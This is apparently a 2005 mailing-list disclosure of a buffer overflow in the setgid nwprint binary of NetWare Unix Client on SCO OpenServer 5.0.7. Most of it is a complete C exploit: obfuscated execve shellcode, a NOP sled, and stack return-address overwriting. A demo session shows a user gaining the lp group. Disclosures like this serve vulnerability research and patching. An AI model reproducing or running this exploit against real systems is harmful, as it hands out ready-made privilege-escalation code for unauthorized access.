possible privilege escalation on Sco OpenServer 5.0.7
i started to play with a vanilla installation of SCO OpenServer 5.0.7 to
check the portability of some code a few days ago, and noticed that some
binary files were segfaulting if given an arbitrary long input;
btw i don't think it's really a problem because most of them were not
setuid/setgid, and those with at least one of those flags on were not
owned by root.
here's an example of a program
-rwx--s--x 1 bin lp 112756 Mar 27 17:17 /usr/lib/nucrt/bin/nwprint
giving egid=lp to users exploiting it.
example:
scosysv% gcc ex.c -o ex -W
scosysv% ./ex
shellcode length: 43
address: 0x8047d90
$ uname -a; id
SCO_SV scosysv 3.2 5.0.7 i386
uid=202(dbf) gid=50(group) egid=18(lp) groups=50(group)
$
regards.
/*
* minervini at neuralnoise dot com (c) 2005
* sample code exploiting a buffer overflow vulnerability in
* NetWare Unix Client 1.1.0Ba on SCO OpenServer 5.0.7;
*/
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#ifndef _PATH
# define _PATH ("/usr/lib/nucrt/bin/nwprint")
#endif
/*
* this shellcode may sound a bit tricky; most of the work
* is caused by SCO's way to call the kernel, lcall $0x7,$0x0,
* translated by the assembler in "\x9a\x00\x00\x00\x00\x07\x00";
* to avoid zeroes i push the NOT-ed bytes on the stack, NOT them
* and then jump to %esp;
* if anyone knows a shorter way to do this execve, a mail is appreciated.
*/
char *scode =
"\x31\xc9" // xor %ecx,%ecx
"\x89\xe3" // mov %esp,%ebx
"\x68\xd0\x8c\x97\xff" // push $0xff978cd0
"\x68\xd0\x9d\x96\x91" // push $0x91969dd0
"\x89\xe2" // mov %esp,%edx
"\x68\xff\xf8\xff\x6f" // push $0x6ffff8ff
"\x68\x9a\xff\xff\xff" // push $0xffffff9a
"\x80\xf1\x10" // xor $0x10,%cl
"\xf6\x13" // notb (%ebx)
"\x4b" // dec %ebx
"\xe2\xfb" // loop $-3
"\x91" // xchg %eax,%ecx
"\x50" // push %eax
"\x54" // push %esp
"\x52" // push %edx
"\x50" // push %eax
"\x34\x3b" // xor $0x3b,%al
"\xff\xe3"; // jmp *%ebx
unsigned long get_sp (void) {
__asm__("movl %esp,%eax");
}
int main (int argc, char **argv) {
int i, slen = strlen(scode), offset = 0;
long ptr, *lptr;
char *buf;
if (argc > 1)
offset = strtoul(argv[1], NULL, 0);
buf = (char *)malloc(1024);
memset(buf, 0, 1024);
for (i = 0; i < (901 - slen); i++)
buf[i] = 0x90;
printf("shellcode length: %d\n", slen);
for (i = (901 - slen); i < 901; i++)
buf[i] = scode[i - (901 - slen)];
lptr = (long *)(buf + 901);
printf("address: 0x%lx\n", ptr = (get_sp() - offset));
for (i = 0; i < 30; i++)
*(lptr + i) = (int)ptr;
execl(_PATH, "nwprint", buf, NULL);
return(0);
}
--
p. minervini, minervini@xxxxxxxxxxxxxxx